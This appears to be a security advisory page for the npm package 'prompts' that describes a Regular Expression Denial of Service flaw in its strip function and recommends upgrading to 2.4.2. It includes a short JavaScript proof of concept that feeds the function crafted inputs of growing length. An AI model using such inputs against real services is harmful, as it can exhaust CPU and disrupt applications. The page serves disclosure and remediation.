prompts@0.1.14 vulnerabilities

Lightweight, beautiful and user-friendly prompts

Direct Vulnerabilities

Known vulnerabilities in the prompts package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker that is able to provide a crafted input to the strip functionality may cause an application to consume an excessive amount of CPU.

Note: CVE-2021-3868 was previously assigned to this vulnerability and retracted.

PoC

const strip = require('prompts/lib/util/strip.js');
for(var i = 1; i <= 5000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*1000);
strip(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade prompts to version 2.4.2 or higher.

<2.4.2